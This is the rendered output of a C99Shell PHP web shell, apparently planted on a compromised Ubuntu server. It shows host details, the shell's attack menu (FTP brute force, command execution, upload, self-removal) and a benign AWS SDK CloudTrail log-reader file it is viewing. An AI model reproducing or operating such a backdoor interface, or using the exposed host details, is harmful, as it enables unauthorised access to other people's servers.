!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-sdk-php/src/CloudTrail/   drwxr-xr-x
Free 13.02 GB of 57.97 GB (22.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LogFileReader.php (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\CloudTrail;

use 
Aws\S3\S3Client;

/**
 * This class provides an easy way to read log files generated by AWS
 * CloudTrail.
 *
 * CloudTrail log files contain data about your AWS API calls and are stored in
 * Amazon S3. The log files are gzipped and contain structured data in JSON
 * format. This class will automatically ungzip and decode the data, and return
 * the data as an array of log records
 */
class LogFileReader
{
    
/** @var S3Client S3 client used to perform GetObject operations */
    
private $s3Client;

    
/**
     * @param S3Client $s3Client S3 client used to retrieve objects
     */
    
public function __construct(S3Client $s3Client)
    {
        
$this->s3Client $s3Client;
    }

    
/**
     * Downloads, unzips, and reads a CloudTrail log file from Amazon S3
     *
     * @param string $s3BucketName The bucket name of the log file in Amazon S3
     * @param string $logFileKey   The key of the log file in Amazon S3
     *
     * @return array
     */
    
public function read($s3BucketName$logFileKey)
    {
        
// Create a command for getting the log file object
        
$command $this->s3Client->getCommand('GetObject', [
            
'Bucket' => (string) $s3BucketName,
            
'Key' => (string) $logFileKey,
            
'ResponseContentEncoding' => 'x-gzip'
        
]);

        
// Make sure gzip encoding header is sent and accepted in order to
        // inflate the response data.
        
$command['@http']['headers']['Accept-Encoding'] = 'gzip';

        
// Get the JSON response data and extract the log records
        
$result $this->s3Client->execute($command);
        
$logData json_decode($result['Body'], true);

        return isset(
$logData['Records']) ? $logData['Records'] : [];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--